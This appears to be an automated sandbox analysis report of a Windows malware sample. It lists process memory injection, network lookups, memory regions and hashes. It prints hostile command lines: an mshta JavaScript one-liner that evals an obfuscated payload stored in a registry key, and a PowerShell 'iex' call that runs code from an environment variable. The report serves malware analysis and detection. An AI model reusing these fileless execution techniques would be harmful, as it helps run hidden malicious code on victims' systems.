PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 4868 wrote to memory of 3292 N/A C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe
PID 5116 wrote to memory of 4112 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4112 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5116 wrote to memory of 4112 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7c159a8b9a66c72d84766fecad57a893_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:ncm7EB="oBjHmru";C4q=new%20ActiveXObject("WScript.Shell");UUU5n0="5XiKdy";t4TIg=C4q.RegRead("HKLM\\software\\Wow6432Node\\BI1jW4HJLc\\22pgBIn");FLBhnv7="h2jsJyy";eval(t4TIg);ahx9Bzs1="WEm";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:fltacjv

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 216.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
US 8.8.8.8:53 chromewebstore.googleapis.com udp
FR 172.217.18.202:443 chromewebstore.googleapis.com tcp
US 8.8.8.8:53 202.18.217.172.in-addr.arpa udp
US 8.8.8.8:53 26.173.189.20.in-addr.arpa udp

Files

memory/3292-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/3292-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/3292-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/3292-6-0x0000000000400000-0x000000000043A000-memory.dmp

memory/3292-7-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-8-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-11-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-9-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-10-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-12-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/3292-13-0x0000000000990000-0x0000000000A66000-memory.dmp

memory/4112-16-0x0000000004B10000-0x0000000004B46000-memory.dmp

memory/4112-17-0x0000000005280000-0x00000000058A8000-memory.dmp

memory/4112-18-0x0000000005910000-0x0000000005932000-memory.dmp

memory/4112-19-0x00000000059B0000-0x0000000005A16000-memory.dmp

memory/4112-20-0x0000000005A20000-0x0000000005A86000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cqz4cdfy.o2y.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4112-26-0x0000000005A90000-0x0000000005DE4000-memory.dmp

memory/4112-31-0x0000000005E40000-0x0000000005E5E000-memory.dmp

memory/4112-32-0x00000000060A0000-0x00000000060EC000-memory.dmp

memory/4112-34-0x0000000007720000-0x0000000007D9A000-memory.dmp

memory/4112-35-0x00000000070D0000-0x00000000070EA000-memory.dmp